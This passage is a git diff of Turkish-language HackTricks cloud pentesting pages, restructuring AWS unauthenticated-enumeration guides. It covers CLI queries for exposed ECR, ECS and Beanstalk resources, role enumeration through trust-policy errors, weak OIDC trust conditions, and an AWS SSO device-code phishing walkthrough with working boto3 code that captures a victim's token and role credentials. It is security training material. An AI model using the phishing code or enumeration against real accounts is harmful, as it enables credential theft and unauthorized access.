describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text +``` +> [!WARNING] +> Bu durum **private registries** içinde de olabilir; bir registry policy veya repository policy **örneğin `"AWS": "*"` için erişim veriyorsa**. AWS hesabı olan herhangi biri o repo'ya erişebilir. + +### Özel Repo'yu Listeleme + +The tools [**skopeo**](https://github.com/containers/skopeo) and [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) can be used to list accessible repositories inside a private registry. +```bash +# Get image names +skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' +crane ls | sed 's/ .*//' +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md deleted file mode 100644 index 48dc1355f..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ /dev/null @@ -1,23 +0,0 @@ -# AWS - ECS Kimlik Doğrulamasız Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### ECS Hizmetleri için Genel Erişilebilir Güvenlik Grubu veya Yük Dengeleyici - -**İnternetten gelen trafiğe (0.0.0.0/0 veya ::/0)** izin veren yanlış yapılandırılmış bir güvenlik grubu, AWS kaynaklarını saldırılara maruz bırakabilir. -```bash -# Example of detecting misconfigured security group for ECS services -aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' - -# Example of detecting a publicly accessible load balancer for ECS services -aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md new file mode 100644 index 000000000..151cdc136 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md @@ -0,0 +1,23 @@ +# AWS - ECS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### ECS Services için Genel Erişime Açık Security Group veya Load Balancer + +İnternetten gelen trafiğe (0.0.0.0/0 veya ::/0) **izin veren** yanlış yapılandırılmış bir security group, Amazon ECS services için AWS kaynaklarını saldırılara açık hale getirebilir. +```bash +# Example of detecting misconfigured security group for ECS services +aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' + +# Example of detecting a publicly accessible load balancer for ECS services +aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md deleted file mode 100644 index 944e35f3e..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ /dev/null @@ -1,35 +0,0 @@ -# AWS - Elastic Beanstalk Kimlik Doğrulamasız Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### Web zafiyeti - -Beanstalk ortamlarının varsayılan olarak **Metadatav1 devre dışı** olduğunu unutmayın. - -Beanstalk web sayfalarının formatı **`https://-env..elasticbeanstalk.com/`** - -### Güvensiz Güvenlik Grubu Kuralları - -Yanlış yapılandırılmış güvenlik grubu kuralları Elastic Beanstalk örneklerini halka açabilir. **Herhangi bir IP adresinden (0.0.0.0/0) hassas portlarda trafik iznine sahip aşırı izinli giriş kuralları, saldırganların örneğe erişimini sağlayabilir**. - -### Halka Açık Erişilebilir Yük Dengeleyici - -Eğer bir Elastic Beanstalk ortamı bir yük dengeleyici kullanıyorsa ve yük dengeleyici halka açık erişim için yapılandırılmışsa, saldırganlar **yük dengeleyiciye doğrudan istek gönderebilir**. Bu, halka açık erişim için tasarlanmış web uygulamaları için bir sorun olmayabilir, ancak özel uygulamalar veya ortamlar için bir problem olabilir. - -### Halka Açık Erişilebilir S3 Bucket'ları - -Elastic Beanstalk uygulamaları genellikle dağıtım öncesinde S3 bucket'larında saklanır. Eğer uygulamayı içeren S3 bucket'ı halka açık erişilebilir durumdaysa, bir saldırgan **uygulama kodunu indirebilir ve zafiyetler veya hassas bilgiler arayabilir**. - -### Halka Açık Ortamları Sayma -```bash -aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md new file mode 100644 index 000000000..6b7f79b05 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md @@ -0,0 +1,35 @@ +# AWS - Elastic Beanstalk Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +For more information check: + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### Web zafiyeti + +Note that by default Beanstalk environments have the **Metadatav1 disabled**. + +Beanstalk web sayfalarının formatı **`https://-env..elasticbeanstalk.com/`** şeklindedir. + +### Güvensiz Security Group Kuralları + +Yanlış yapılandırılmış security group kuralları Elastic Beanstalk instance'larını halka açabilir. **Aşırı izinli ingress kuralları, örneğin hassas portlarda herhangi bir IP adresinden (0.0.0.0/0) trafiğe izin vermek, saldırganların instance'a erişmesine olanak sağlayabilir**. + +### Genel Erişime Açık Load Balancer + +Eğer bir Elastic Beanstalk ortamı bir load balancer kullanıyorsa ve load balancer genel erişime açık şekilde yapılandırıldıysa, saldırganlar **istekleri doğrudan load balancer'a gönderebilir**. Bu, genel erişime açık olması amaçlanan web uygulamaları için sorun olmayabilir; ancak özel uygulamalar veya ortamlar için problem oluşturabilir. + +### Genel Erişime Açık S3 Buckets + +Elastic Beanstalk uygulamaları genellikle deploy öncesinde S3 bucket'larda depolanır. Uygulamayı içeren S3 bucket genel erişime açıksa, bir saldırgan **uygulama kodunu indirebilir ve güvenlik açıkları veya hassas bilgiler arayabilir**. + +### Genel Ortamları Listeleme +```bash +aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md index bb4d5ac41..7a43a1455 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md @@ -1,10 +1,10 @@ -# AWS - Elasticsearch Kimlik Doğrulamasız Enum +# AWS - Elasticsearch Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### Genel URL şablonu ``` https://vpc-{user_provided}-[random].[region].es.amazonaws.com https://search-{user_provided}-[random].[region].es.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md deleted file mode 100644 index 4dcba7ece..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ /dev/null @@ -1,162 +0,0 @@ -# AWS - IAM & STS Yetkisiz Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Bir hesapta Rolleri ve Kullanıcı Adlarını Listele - -### ~~Rolü Varsayma Kaba Kuvvet~~ - -> [!CAUTION] -> **Bu teknik artık çalışmıyor** çünkü rol var olsa da olmasa da her zaman bu hatayı alırsınız: -> -> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` -> -> Bunu **test edebilirsiniz**: -> -> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` - -Gerekli izinler olmadan **bir rolü varsaymaya çalışmak**, bir AWS hata mesajı tetikler. Örneğin, yetkisizseniz, AWS şunları döndürebilir: -```ruby -An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS -``` -Bu mesaj, rolün varlığını onaylar ancak onun üstlenme rolü politikasının sizin üstlenmenize izin vermediğini belirtir. Aksine, **var olmayan bir rolü üstlenmeye çalışmak farklı bir hataya yol açar**: -```less -An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole -``` -İlginç bir şekilde, **mevcut ve mevcut olmayan roller arasında ayırt etme** yöntemi, farklı AWS hesapları arasında bile geçerlidir. Geçerli bir AWS hesap kimliği ve hedeflenen bir kelime listesi ile, hesapta bulunan rolleri herhangi bir iç sınırlama ile karşılaşmadan listeleyebilirsiniz. - -Bu sorunu kötüye kullanarak potansiyel ilkeleri listelemek için bu [scripti kullanabilirsiniz](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum). - -### Güven Politikaları: Brute-Force Çapraz Hesap rolleri ve kullanıcıları - -Bir **IAM rolünün güven politikasını yapılandırmak veya güncellemek, hangi AWS kaynaklarının veya hizmetlerinin o rolü üstlenmesine izin verileceğini tanımlamayı içerir** ve geçici kimlik bilgileri alır. Politika içindeki belirtilen kaynak **varsa**, güven politikası **başarıyla** kaydedilir. Ancak, kaynak **yoksa**, geçersiz bir ilke sağlandığını belirten bir **hata üretilir**. - -> [!WARNING] -> O kaynakta bir çapraz hesap rolü veya kullanıcı belirtebileceğinizi unutmayın: -> -> - `arn:aws:iam::acc_id:role/role_name` -> - `arn:aws:iam::acc_id:user/user_name` - -Bu bir politika örneğidir: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::216825089941:role/Test" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -#### GUI - -Eğer **var olmayan bir rol** kullanırsanız, bu **hata** ile karşılaşacaksınız. Eğer rol **varsa**, politika **hatasız** bir şekilde **kaydedilecektir**. (Hata güncelleme içindir, ancak oluşturma sırasında da çalışır) - -![](<../../../images/image (153).png>) - -#### CLI -```bash -### You could also use: aws iam update-assume-role-policy -# When it works -aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json -{ -"Role": { -"Path": "/", -"RoleName": "Test-Role", -"RoleId": "AROA5ZDCUJS3DVEIYOB73", -"Arn": "arn:aws:iam::947247140022:role/Test-Role", -"CreateDate": "2022-05-03T20:50:04Z", -"AssumeRolePolicyDocument": { -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::316584767888:role/account-balance" -}, -"Action": [ -"sts:AssumeRole" -] -} -] -} -} -} - -# When it doesn't work -aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json -An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" -``` -Bu süreci [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) ile otomatikleştirebilirsiniz. - -- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` - -Pacu kullanarak [Pacu](https://github.com/RhinoSecurityLabs/pacu): - -- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- Örnekte kullanılan `admin` rolü, pacu tarafından **taklit edilmek üzere hesabınızdaki bir roldür** ve gerekli politikaları oluşturmak için gereklidir. - -### Privesc - -Rol kötü yapılandırılmışsa ve herkesin onu üstlenmesine izin veriyorsa: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -Saldırgan bunu varsayabilir. - -## Üçüncü Taraf OIDC Federasyonu - -Bir **Github Actions iş akışı** okuyabildiğinizi hayal edin, bu iş akışı **AWS** içindeki bir **role** erişiyor.\ -Bu güven, aşağıdaki **güven politikası** ile bir role erişim sağlayabilir: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" -}, -"Action": "sts:AssumeRoleWithWebIdentity", -"Condition": { -"StringEquals": { -"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" -} -} -} -] -} -``` -Bu güven politikası doğru olabilir, ancak **daha fazla koşulun olmaması** buna güvenmemeniz gerektiğini göstermelidir.\ -Bu, önceki rolün **Github Actions'tan HERHANGİ BİRİ** tarafından üstlenilebileceği anlamına gelir! Koşullarda ayrıca org adı, repo adı, env, brach gibi diğer şeyleri de belirtmelisiniz... - -Bir diğer potansiyel yanlış yapılandırma, aşağıdaki gibi bir **koşul eklemektir**: -```json -"StringLike": { -"token.actions.githubusercontent.com:sub": "repo:org_name*:*" -} -``` -Not edin ki **joker karakter** (\*) **noktalama işareti** (:) öncesindedir. **org_name1** gibi bir organizasyon oluşturabilir ve bir Github Action'dan **rolü üstlenebilirsiniz**. - -## Referanslar - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) -- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md new file mode 100644 index 000000000..03791549e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md @@ -0,0 +1,162 @@ +# AWS - IAM & STS Kimlik Doğrulaması Olmayan Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Bir hesapta Rolleri & Kullanıcı Adlarını Sıralama + +### ~~Assume Role Brute-Force~~ + +> [!CAUTION] +> **Bu teknik artık çalışmıyor**; rol var mı yok mu fark etmeksizin her zaman şu hatayı alırsınız: +> +> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` +> +> Bunu çalıştırarak **test edebilirsiniz**: +> +> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` + +Gerekli izinler olmadan **bir role AssumeRole ile erişmeye çalışmak** AWS tarafından bir hata mesajı tetikler. Örneğin, yetkisiz ise AWS şu hatayı döndürebilir: +```ruby +An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS +``` +Bu mesaj rolün varlığını doğrular ancak rolün üstlenme politikası sizin bu rolü üstlenmenize izin vermediğini gösterir. Buna karşılık, **var olmayan bir rolü üstlenmeye çalışmak farklı bir hataya yol açar**: +```less +An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole +``` +İlginç bir şekilde, bu yöntem **mevcut ve mevcut olmayan rolleri ayırt etme** işlemi farklı AWS hesapları arasında bile uygulanabilir. Geçerli bir AWS account ID'si ve hedeflenmiş bir wordlist ile, hesaptaki rolleri herhangi bir yerleşik sınırlama olmadan listeleyebilirsiniz. + +You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue. + +### Trust Policies: Brute-Force Cross Account roller ve kullanıcılar + +Bir **IAM role'un trust policy'sini yapılandırmak veya güncellemek, hangi AWS kaynaklarının veya servislerinin bu rolü üstlenip geçici kimlik bilgileri elde edebileceğini tanımlamayı içerir**. Eğer politika içindeki belirtilen kaynak **mevcutsa**, trust policy **başarıyla** kaydedilir. Ancak kaynak **mevcut değilse**, bir **hata üretilir**, bu da geçersiz bir principal sağlandığını gösterir. + +> [!WARNING] +> O kaynaktaki değere cross account bir rol veya kullanıcı belirtebileceğinizi unutmayın: +> +> - `arn:aws:iam::acc_id:role/role_name` +> - `arn:aws:iam::acc_id:user/user_name` + +This is a policy example: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::216825089941:role/Test" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +#### GUI + +Bu, **var olmayan bir rol** kullandığınızda karşılaşacağınız **hata**dır. Eğer rol **mevcutsa**, politika herhangi bir hata olmadan **kaydedilecektir**. (Hata güncelleme içindir, fakat oluştururken de geçerlidir.) + +![](<../../../images/image (153).png>) + +#### CLI +```bash +### You could also use: aws iam update-assume-role-policy +# When it works +aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json +{ +"Role": { +"Path": "/", +"RoleName": "Test-Role", +"RoleId": "AROA5ZDCUJS3DVEIYOB73", +"Arn": "arn:aws:iam::947247140022:role/Test-Role", +"CreateDate": "2022-05-03T20:50:04Z", +"AssumeRolePolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::316584767888:role/account-balance" +}, +"Action": [ +"sts:AssumeRole" +] +} +] +} +} +} + +# When it doesn't work +aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json +An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" +``` +Bu işlemi şu araçla otomatikleştirebilirsiniz: [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) + +- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` + +Veya [Pacu](https://github.com/RhinoSecurityLabs/pacu) kullanarak: + +- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` +- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` +- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration + +### Privesc + +Eğer role kötü yapılandırılmışsa ve herkesin assume etmesine izin veriyorsa: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +Saldırgan bunu doğrudan üstlenebilir. + +## Üçüncü Taraf OIDC Federasyonu + +Bir **Github Actions workflow**'unu okuyabildiğinizi ve bunun **AWS** içindeki bir **role**'a eriştiğini hayal edin.\ +Bu trust, aşağıdaki **trust policy** ile bir **role**'a erişim verebilir: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] +} +``` +Bu trust policy doğru olabilir, ancak **daha fazla koşulun eksikliği** ona güvenmemeniz gerektiğini göstermeli.\ +Çünkü önceki rol **Github Actions'taki HERKES** tarafından üstlenilebilir! Koşullarda ayrıca org adı, repo adı, env, brach... gibi diğer şeyleri de belirtmelisiniz. + +Başka bir olası yanlış yapılandırma, aşağıdaki gibi bir koşul eklemektir: +```json +"StringLike": { +"token.actions.githubusercontent.com:sub": "repo:org_name*:*" +} +``` +Dikkat: **wildcard** (\*) **colon** (:)'dan önce olmalıdır. Örneğin **org_name1** gibi bir org oluşturabilir ve bir Github Action üzerinden **assume the role** yapabilirsiniz. + +## Referanslar + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) +- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md deleted file mode 100644 index 43dead253..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ /dev/null @@ -1,123 +0,0 @@ -# AWS - Kimlik Merkezi & SSO Yetkisiz Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## AWS Cihaz Kodu Phishing - -Başlangıçta [**bu blog yazısında**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) önerilen, AWS SSO kullanarak bir kullanıcıya **bağlantı** göndermek mümkündür; eğer **kullanıcı kabul ederse**, saldırgan **kullanıcıyı taklit etmek için bir token** alabilir ve kullanıcının **Kimlik Merkezi**'nde erişebileceği tüm rollere erişebilir. - -Bu saldırıyı gerçekleştirmek için gereksinimler şunlardır: - -- Kurbanın **Kimlik Merkezi**'ni kullanması gerekir -- Saldırgan, kurbanın kullandığı **alt alan adı**nı bilmelidir `.awsapps.com/start` - -Sadece önceki bilgilerle, **saldırgan kullanıcıya bir bağlantı gönderebilir**; eğer **kabul edilirse**, bu **saldırgana AWS kullanıcı** hesabına erişim sağlayacaktır. - -### Saldırı - -1. **Alt alan adını bulma** - -Saldırganın ilk adımı, kurban şirketinin Kimlik Merkezi'nde kullandığı alt alan adını bulmaktır. Bu, **OSINT** veya **tahmin + BF** ile yapılabilir, çünkü çoğu şirket burada adını veya adının bir varyasyonunu kullanacaktır. - -Bu bilgiyle, Kimlik Merkezi'nin yapılandırıldığı bölgeyi almak mümkündür: -```bash -curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' -"region":"us-east-1 -``` -2. **Kurban için bağlantıyı oluşturun ve gönderin** - -Kurbanın kimlik doğrulaması yapabilmesi için bir AWS SSO giriş bağlantısı oluşturmak üzere aşağıdaki kodu çalıştırın.\ -Demo için, bu kodu bir python konsolunda çalıştırın ve çıkmayın çünkü daha sonra token almak için bazı nesnelere ihtiyacınız olacak: -```python -import boto3 - -REGION = 'us-east-1' # CHANGE THIS -AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS - -sso_oidc = boto3.client('sso-oidc', region_name=REGION) -client = sso_oidc.register_client( -clientName = 'attacker', -clientType = 'public' -) - -client_id = client.get('clientId') -client_secret = client.get('clientSecret') -authz = sso_oidc.start_device_authorization( -clientId=client_id, -clientSecret=client_secret, -startUrl=AWS_SSO_START_URL -) - -url = authz.get('verificationUriComplete') -deviceCode = authz.get('deviceCode') -print("Give this URL to the victim: " + url) -``` -Kurbanı harika sosyal mühendislik becerilerinizi kullanarak oluşturulan bağlantıyı gönderin! - -3. **Kurbanın kabul etmesini bekleyin** - -Eğer kurban **zaten AWS'de oturum açmışsa**, sadece izinleri vermeyi kabul etmesi gerekecek; eğer oturum açmamışsa, **oturum açması ve ardından izinleri vermeyi kabul etmesi** gerekecek.\ -İşte günümüzdeki istemin görünümü: - -
- -4. **SSO erişim token'ını alın** - -Eğer kurban istemi kabul ettiyse, **kullanıcıyı taklit ederek bir SSO token'ı oluşturmak için bu kodu çalıştırın**: -```python -token_response = sso_oidc.create_token( -clientId=client_id, -clientSecret=client_secret, -grantType="urn:ietf:params:oauth:grant-type:device_code", -deviceCode=deviceCode -) -sso_token = token_response.get('accessToken') -``` -SSO erişim belirteci **8 saat geçerlidir**. - -5. **Kullanıcıyı taklit et** -```python -sso_client = boto3.client('sso', region_name=REGION) - -# List accounts where the user has access -aws_accounts_response = sso_client.list_accounts( -accessToken=sso_token, -maxResults=100 -) -aws_accounts_response.get('accountList', []) - -# Get roles inside an account -roles_response = sso_client.list_account_roles( -accessToken=sso_token, -accountId= -) -roles_response.get('roleList', []) - -# Get credentials over a role - -sts_creds = sso_client.get_role_credentials( -accessToken=sso_token, -roleName=, -accountId= -) -sts_creds.get('roleCredentials') -``` -### Phishing the unphisable MFA - -Önceki saldırının **"unphisable MFA" (webAuth) kullanılsa bile çalıştığını** bilmek eğlenceli. Bunun nedeni, önceki **iş akışının kullanılan OAuth alanını asla terk etmemesidir**. Kullanıcının giriş alanını taklit etmesi gereken diğer phishing saldırılarının aksine, cihaz kodu iş akışı, **bir cihaz tarafından bilinen bir kodun** hazırlandığı bir durumdur ve kullanıcı farklı bir makinede bile giriş yapabilir. İstemciyi kabul ederse, cihaz, sadece **ilk kodu bilerek**, kullanıcının **kimlik bilgilerini** alabilecektir. - -Daha fazla bilgi için [**bu gönderiye göz atın**](https://mjg59.dreamwidth.org/62175.html). - -### Automatic Tools - -- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) -- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) - -## References - -- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) -- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) -- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html) -- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md new file mode 100644 index 000000000..aa4e26e81 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md @@ -0,0 +1,123 @@ +# AWS - Identity Center & SSO Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## AWS Device Code Phishing + +İlk olarak [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) adresinde önerildiği üzere, AWS SSO kullanan bir kullanıcıya gönderilecek bir **bağlantı** ile eğer **kullanıcı kabul ederse** saldırganın **kullanıcıyı taklit etmek için bir token** elde etmesi ve kullanıcının Identity Center içinde erişebildiği tüm rollere erişmesi mümkündür. + +Bu saldırıyı gerçekleştirmek için gereksinimler: + +- Kurbanın **Identity Center** kullanıyor olması +- Saldırganın kurbanın kullandığı **alt alan adını (subdomain)** bilmesi `.awsapps.com/start` + +Sadece bu bilgilerle, **saldırgan kullanıcıya bir bağlantı gönderebilecek** ve eğer **kabul edilirse** bu, **saldırgana AWS kullanıcı hesabı** üzerinde erişim sağlayacaktır. + +### Saldırı + +1. **Alt alan adının bulunması** + +Saldırganın ilk adımı, hedef şirketin Identity Center'da kullandığı alt alan adını bulmaktır. Bu, çoğu şirket burada adlarını veya adlarının bir varyasyonunu kullandığı için **OSINT** veya **tahmin + BF** ile yapılabilir. + +Bu bilgilerle, Identity Center'ın yapılandırıldığı bölgeyi şu şekilde öğrenmek mümkündür: +```bash +curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' +"region":"us-east-1 +``` +2. **Victim için link oluştur & Gönder** + +Aşağıdaki kodu çalıştırarak victim'in kimlik doğrulaması yapabilmesi için bir AWS SSO login linki 